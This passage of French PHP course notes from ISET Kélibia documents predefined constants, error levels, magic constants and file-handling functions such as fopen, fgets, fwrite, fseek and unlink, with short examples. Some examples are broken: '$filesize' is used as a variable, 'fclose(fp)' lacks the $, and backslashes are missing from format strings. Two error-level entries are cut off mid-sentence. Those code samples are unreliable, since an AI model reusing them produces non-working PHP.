PHP_SAPI (chaîne de caractères) : L’API du serveur pour ce binaire PHP.
PHP_EOL (chaîne de caractères) : Le bon symbole de fin de ligne pour cette plateforme.
Disponible depuis PHP 5.0.2. elle permet de mettre le code de façon correcte à l’affichage.
PHP_INT_MAX (entier) : Le plus grand entier supporté par ce binaire de PHP.
Habituellement, int(2147483647). Disponible depuis PHP 5.0.5
PHP_INT_MIN (entier) : Le plus petit entier supporté dans cette version de PHP.
Habituellement, int(-2147483648) sur les systèmes 32 bit et int(-9223372036854775808)
sur les systèmes 64 bit. Disponible depuis PHP 7.0.0.
PHP_INT_SIZE (entier) : La taille d’un entier, en octets, dans cette version de PHP.
Disponible depuis PHP 5.0.5.
E_ERROR (entier) : Elle a la valeur 1. Les erreurs sont affichées par défaut et l’exécution
du script est interrompue. Elles indiquent des erreurs qui ne peuvent pas être ignorées,
comme des problèmes d’allocation de mémoire, par exemple.
E_WARNING (entier) : Elle a la valeur 2. Les alertes sont affichées par défaut, mais
n’interrompent pas l’exécution du script. Elles indiquent un problème qui doit être intercepté
par le script durant son exécution.
E_PARSE (entier) : Elle a la valeur 4. Les erreurs d’analyse ne doivent être générées que
par l’analyseur. Elles ne sont citées ici que dans le but d’être exhaustif.
E_NOTICE (entier) : Elle est égale à 8. Les remarques ne sont pas affichées par défaut, et
indiquent que le script a rencontré quelque chose qui peut être une erreur, mais peut aussi
être un événement normal dans la vie du script. Par exemple, essayer d’accéder à une valeur
qui n’a pas été déclarée.

ISET Kélibia: H.TOUKABRI vi
E_CORE_ERROR (entier) : Elle est égale à 16. Elles sont similaires aux erreurs
E_ERROR, mais elles sont générées par le code source de PHP. Les fonctions ne doivent
pas générer ce genre d’erreur.
E_CORE_WARNING (entier) : Elle est égale à 32. Elles sont similaires à E_WARNING,
mais elles sont générées par le code source de PHP. Les fonctions ne doivent pas générer ce
genre d’erreur.
E_COMPILE_ERROR (entier) : Elle est égale à 64. Elles sont similaires à E_ERROR,
mais elles sont générées par le moteur Zend. Les fonctions ne doivent pas générer ce genre
d’erreur.
E_COMPILE_WARNING (entier) : Sa valeur est 128. Elles sont similaires à
E_WARNING, mais elles sont générées par le moteur Zend. Les fonctions ne doivent pas
générer ce genre d’erreur.
E_USER_ERROR (entier) : Sa valeur est 256. Il s’agit d’un message d’erreur généré par
l’utilisateur. Comparable à E_ERROR. Elle est générée par le programmeur en PHP par
l’utilisation de la fonction trigger_error(). Les fonctions de PHP ne doivent pas générer ce
genre d’erreur.
E_USER_WARNING (entier) : Sa valeur est 512. C’est un message d’erreur généré par
l’utilisateur. Comparable à E_WARNING. Elle est générée par le programmeur en PHP par
genre d’erreur.
E_USER_NOTICE (entier) : Sa valeur est 1024. C’est un message d’erreur généré par
l’utilisateur. Comparable à E_NOTICE. Elle est générée par le programmeur en PHP par
genre d’erreur.
E_DEPRECATED (entier) : Elle est égale à 8192. Il s’agit d’alertes d’exécution. Activer
cette option permet de recevoir des alertes sur les portions de code qui pourraient ne pas
fonctionner avec les futures versions. Disponible depuis PHP 5.3.0.
E_USER_DEPRECATED (entier) : Elle est égale à 16384. C’est un message d’alerte
généré par l’utilisateur. Fonctionne de la même façon que E_DEPRECATED, mise à part

ISET Kélibia: H.TOUKABRI vii
que le message est généré par le code PHP en utilisant la fonction trigger_error(). Disponible
depuis PHP 5.3.0.
E_ALL (entier) : De valeur 32767, elle représente toutes les erreurs et alertes supportées
sauf le niveau E_STRICT avant la version 5.4.0 de PHP.
E_STRICT (entier) : Elle est égale à 2048. Elle permet d’obtenir des suggestions de PHP
pour modifier le code, assurant ainsi une meilleure interopérabilité et compatibilité de celui-
ci.
__COMPILER_HALT_OFFSET__ (entier) : Elle détermine l’octet de la position du
début des données qui n’est définie que s’il y a une fonction __halt_compiler() présente dans
le fichier. Disponible depuis PHP 5.1.0
TRUE (booléen) : FALSE (booléen)
NULL (null)
DEFAULT_INCLUDE_PATH (chaîne de caractères) : Chemin par défaut d’accès aux
fichiers.
PEAR_INSTALL_DIR (chaîne de caractères) : Dossier d’installation de la bibliothèque de
scripts PEAR (PHP Extension and Application Repository)
PEAR_EXTENSION_DIR (chaîne de caractères) : Dossier des extensions relatives à la
bibliothèque de scripts PEAR.
PHP_EXTENSION_DIR (chaîne de caractères) : Désigne le chemin du dossier contenant
les extensions.
PHP_PREFIX (chaîne de caractères) : La valeur du "--prefix" qui a été définie au moment
de la configuration.
PHP_BINDIR (chaîne de caractères) : Spécifie l’endroit où ont été installé les binaires.
PHP_BINARY (chaîne de caractères) : Spécifie le chemin vers le binaire PHP lors de
l’exécution du script. Disponible depuis PHP 5.4.

ISET Kélibia: H.TOUKABRI viii
PHP_MANDIR (chaîne de caractères) : Spécifie le chemin d’installation des pages man.
Disponible depuis PHP 5.3.7.
PHP_LIBDIR (chaîne de caractères) : Spécifie le chemin du dossier contenant les
bibliothèques de code PHP.
PHP_DATADIR (chaîne de caractères) : Spécifie le chemin du répertoire contenant les
bibliothèques partagées en lecture seule. Généralement cette constante est égale à
« /usr/local/share ».
PHP_SYSCONFDIR (chaîne de caractères) : Contient le chemin des fichiers de
configuration du serveur.
PHP_LOCALSTATEDIR (chaîne de caractères) : Contient le chemin des fichiers de
données que PHP pourrait modifier en exécution. Sa valeur est généralement égale à
« /usr/local/var ».
PHP_CONFIG_FILE_PATH (chaîne de caractères) : Cette constante indique le chemin du
fichier de configuration php.ini.
PHP_CONFIG_FILE_SCAN_DIR (chaîne de caractères) : Contient le chemin vers les
fichiers de maintenance et de mise à jour.
PHP_SHLIB_SUFFIX (chaîne de caractères) : Le suffixe de la plate-forme de compilation
pour les bibliothèques partagées, comme "so" (sous la plupart des Unix) ou "dll" (Windows).

Développement côté serveur Annexe C : Les constantes magiques
ISET Kélibia: H.TOUKABRI ix
Annexe C. Les constantes magiques
__LINE__ : La ligne courante dans le fichier.
__FILE__ : Le chemin complet et le nom du fichier courant avec les liens symboliques
résolus. Si utilisé pour une inclusion, le nom du fichier inclus est retourné.
__DIR__ : Le dossier du fichier. Si utilisé dans une inclusion, le dossier du fichier inclus
sera retourné. C'est l’équivalent de dirname(__FILE__). Ce nom de dossier ne contiendra
pas de slash final, sauf si c’est le dossier racine.
__FUNCTION__ : Le nom de la fonction.
__CLASS__ : Le nom de la classe courante. Le nom de la classe contient l’espace de nom
dans lequel cette classe a été déclarée (i.e. FooBar).
__TRAIT__ : Le nom du trait. Le nom du trait inclut l’espace de nom dans lequel il a été
déclaré (e.g. FooBar).
__METHOD__ : Le nom de la méthode courante.
__NAMESPACE__ : Le nom de l’espace de noms courant.

Développement côté serveur Annexe D : Les fonctions de manipulation de fichiers
ISET Kélibia: H.TOUKABRI x
Annexe D. Les fonctions de manipulation de fichiers
D.1. Ouverture de fichiers : fonction fopen()
Syntaxe
resource fopen (string $nomfichier , string $mode [, bool $use_include_
path = false [, resource $contexte]])
Avec :
 $nomfichier : Il désigne le nom du fichier à ouvrir. Il peut être un fichier stocké en
local ou distant. Si le fichier est distant, on utilise l’URL d’accès.
 $mode : il s’agit du mode d’ouverture du fichier. On distingue les modes suivants :
- r : lecture seule, en début de fichier
- r+: lecture/écriture, en début de fichier
- w : écriture seule. Le contenu du fichier est écrasé s’il existe. Le fichier sera
crée s’il n’existe pas.
- w+ : lecture/écriture. Si le fichier n’existe par, il sera crée. Sinon, son contenu
sera écrasé.
- a : écriture seule, en fin de fichier, créé s’il n’existe pas.
- a+ : lecture/écriture, en fin de fichier, créé s’il n’existe pas.
 $use_include_path : C’est un paramètre optionnel. Il peut être défini à 1 ou
à TRUE pour chercher le fichier dans l’include_path.
 $contexte : Le support de contexte a été ajouté en PHP 5.0.0
La fonction retourne une ressource représentant le pointeur de fichier, ou FALSE si une
erreur survient.
Remarque
 Le nom du fichier peut être une URL. Pour ceci, il faut que la directive
allow_url_fopen soit activée dans le php.ini.
 Pour les modes d’ouverture, on distingue le mode « b » permettant l’ouverture de
fichier binaire sous Windows.

ISET Kélibia: H.TOUKABRI xi
Exemple
$file=fopen('server.log','a+',1);
D.2. Fermeture de fichiers : fonction fclose()
Syntaxe
bool fclose (resource $fichier)
La fonction permet de fermer $fichier. Elle retourne TRUE en cas de réussite et FALSE
sinon.
D.3. Lecture de données à partir d’un fichier
D.3.1. La fonction fgets()
Syntaxe
string fgets (resource $fichier [, int $taille])
Avec:
 $fichier : Le pointeur de fichier doit être valide et pointer sur un fichier ouvert avec
succès par fopen().
 $taille : Lit jusqu’à la taille $taille - 1 octet (ou la fin du fichier) depuis le pointeur de
fichier $fichier. Si aucune taille n’est spécifiée, la fonction lit le flux jusqu’à la fin du
fichier.
La fonction retourne une chaîne de caractères contenant les $taille - 1 premiers caractères
depuis le pointeur de fichier $fichier. La fonction retourne FALSE s’il n’y a plus de données
à lire ou s’il y a une erreur.
D.3.2. La fonction fread()
Syntaxe
string fread (resource $fichier , int $taille)

ISET Kélibia: H.TOUKABRI xii
Avec:
 $taille : nombre d’octets à lire.
La fonction fread() permet de lire un fichier en mode binaire. Elle retourne la chaîne lue
ou FALSE si une erreur survient.
Remarque
La fonction fread() est utilisé avec le mode d’ouverture binaire pour fopen() (noté par b).
Exemple
$fichier=fopen('monimage.gif','rb');
$img=fread($fichier, $filesize('nomimage.gif'));
fclose($fichier);
D.3.3. La fonction fscanf()
Syntaxe
mixed fscanf (resource $fichier , string $format [, mixed &$... ])
Avec:
 $format : le format spécifié.
 $... : les valeurs optionnelles à assigner.
La fonction fscanf() lit des lignes d’un fichier en fonction d’un formatage particulier.
Exemple
$fichier=fopen('exemple.txt','r');
while($ligne=fscanf($fichier,"%st%st%sn")) {
echo $ligne;

ISET Kélibia: H.TOUKABRI xiii
}
D.3.4. La fonction fgetc()
Syntaxe
string fgetc (resource $fichier)
Avec:
La fonction retourne une chaîne contenant un seul caractère, lu depuis le fichier pointé
par $fichier. Elle retourne FALSE à la fin du fichier.
D.3.5. La fonction fgetss()
Syntaxe
string fgetss (resource $fichier [, int $taille [, string $balises_perm
ises]])
Avec :
 $taille : Taille des données à récupérer.
 $balises_permises : C’est un paramètre optionnel. Il désigne la liste des balises qui
doivent être retenues.
La fonction fgetss() est identique à fgets().Sauf que la fonction fgetss() supprime tous les
octets nuls, toutes les balises HTML et PHP qu’il trouve dans le texte lu.

ISET Kélibia: H.TOUKABRI xiv
D.3.6. La fonction fgetcsv()
Syntaxe
array fgetcsv (resource $fichier [, int $taille =
0 [, string $délimiteur = ',' [, string $caracEnc =
'"' [,string $caracEchap = '' ]]]])
Avec:
 $taille : Elle doit être plus grande que la plus longue ligne. Ce paramètre est
optionnel depuis PHP5.
 $délimiteur : C’est le caractère séparateur (un seul caractère).
 $caracEnc : C’est le caractère d’encadrement du texte (un seul caractère).
 $caracEchap : C’est le caractère d’échappement (un seul caractère). Par défaut, c’est
l’antislash.
La fonction fgetcsv() est similaire à fgets(). Cependant, la fonction fgetcsv() analyse la ligne
qu’il lit et recherche les champs CSV, qu’il va retourner dans un tableau les contenant.
Remarque
Un fichier CSV est un fichier dont les champs sont délimités.
Exemple
$nomFichier = "livre.csv";
$id = fopen($nomFichier, "r");
while ($donnees = fgetcsv($id, filesize($nomFichier)))
$table[] = $donnees;
fclose($id);
echo "<table>n";
foreach($table as $ligne) {
echo "<tr>";
foreach($ligne as $donnees)
echo "<td>$donnees</td>";
echo "</tr>n";

ISET Kélibia: H.TOUKABRI xv
}
echo "</table>n";
D.4. Écriture de données dans un fichier
Syntaxe
int fwrite (resource $fichier, string $chaine [, int $taille])
Avec:
 $chaine : La chaîne à écrire.
 $taille : Le nombre d’octets à écrire. L’écriture s’arrête si la totalité de la chaîne est
écrite ou si $taille est épuisée.
La fonction fwrite() retourne le nombre d’octets écrits, ou FALSE si une erreur survient.
Remarque
 Si le paramètre $taille est fourni, l’option de configuration magic_quotes_runtime est
ignoré et les slashs seront conservés.
 La fonction fputs() est un alias de la fonction fwrite().
Exemple
$fichier=fopen('monfichier.txt','a');
$retour=fwrite($fichier, 'Une ligne dans mon fichier');
fclose($fichier);
D.5. Déplacement dans un fichier
D.5.1. La fonction fseek()
Syntaxe
int fseek (resource $fichier , int $offset [, int $whence = SEEK_SET ])

ISET Kélibia: H.TOUKABRI xvi
Avec:
 $offset : Ce paramètre détermine la position de déplacement dans le fichier.
 $whence : Les valeurs possibles de ce paramètre sont :
- SEEK_SET : Calcul à partir du début du fichier. Position finale :
Début+offset
- SEEK_CUR : Calcul à partir de l’emplacement actuel. Position finale :
Actuelle+offset
- SEEK_END : Calcul à partir de la fin du fichier. Position finale : Fin+Offset.
La fonction fseek() permet de modifier la position du pointeur de fichier. Elle retourne 0 en
cas de succès et -1 sinon.
Exemple
$fp = fopen('fichier.txt', 'r');
//Lit quelques données
$donnees = fgets($fp, 4000);
//Retourne au début du fichier
$ret= fseek ($fp, 0);
//Fin du fichier
$ret= fseek($fp,0, SEEK_END);
fclose(fp);
D.5.2. La fonction ftell()
Syntaxe
int ftell (resource $fichier)
Avec :
La fonction ftell() renvoie la position courante du pointeur de fichier.

ISET Kélibia: H.TOUKABRI xvii
Exemple
//Ouvre un fichier et y lit quelques données
$fp = fopen('fichier.txt', 'r');
$donnees = fgets($fp, 12);
//Position actuelle du pointeur du fichier
echo ftell($fp); // Affichage de la valeur 11
fclose($fp);
D.5.3. La fonction rewind()
Syntaxe
bool rewind (resource $fichier)
Avec :
La fonction rewind() replace le pointeur de fichier (ici $fichier) au début. Elle retourne
TRUE en cas de succès ou FALSE si une erreur survient.
Exemple
//Ouvertue du fichier
$fp = fopen('output.txt', 'r+');
//Écriture de données dans le fichier
fwrite ($fp, 'Une très longue phrase');
//Replacer le pointeur du fichier au début
rewind ($fp);
//Écriture de données au début du fichier
fwrite ($fp, 'Ceci est');
//Replace le pointeur du fichier au début
rewind ($fp);
//Affichage du contenu du fichier
echo fread($fp, filesize('output.txt'));
//Fermeture du fichier
fclose ($fp);

ISET Kélibia: H.TOUKABRI xviii
Le code précédent permet de modifier la phrase « Une très longue phrase » en « Ceci est
longue phrase ». Le résultat est sauvegardé dans le fichier et il est affiché à l’écran.
D.6. Fin du fichier : fonction feof()
Syntaxe
bool feof (resource $fichier)
Avec :
La fonction feof() teste si la fin du fichier est atteinte. Elle retourne TRUE si le pointeur
$fichier est en fin du fichier et FALSE sinon.
D.7. Suppression d’un fichier : fonction unlink()
Syntaxe
bool unlink (string $fichier)
Avec :
La fonction unlink() supprime un fichier existant. Elle retourne true en cas de succès et false
sinon.
Il faut teste l’existence du fichier avant sa suppression sinon une erreur sera générée. Pour
éviter la génération d’une erreur sur un fichier inexistant, on peut précéder l’appel de la
fonction par @.

ISET Kélibia: H.TOUKABRI xix
D.8. Copie déplacement et renommage de fichier
D.8.1. La fonction copy()
Syntaxe
bool copy(string $fichier_depart,string $fichier_destination)
Avec :
 $fichier_depart : chemin vers le fichier source.
 $fichier_destination : chemin vers le fichier destination
La fonction copy() permet de copier un fichier. Elle retourne true en cas de copie réussie et
false sinon.
D.8.2. La fonction rename()
Syntaxe
bool rename(string $ancien_nom,string $nouv_nom)
Avec :
 $ancien_nom : chemin vers l’ancien fichier.
 $nouv_nom : chemin vers le nouveau fichier.
La fonction rename() tente de renommer le fichier de départ en le déplaçant si cela est
nécessaire. La fonction retourne true en cas de succès et false sinon.

Cours développement côté serveur

Contenu connexe

Tendances

Similaire à Cours développement côté serveur

Dernier

Cours développement côté serveur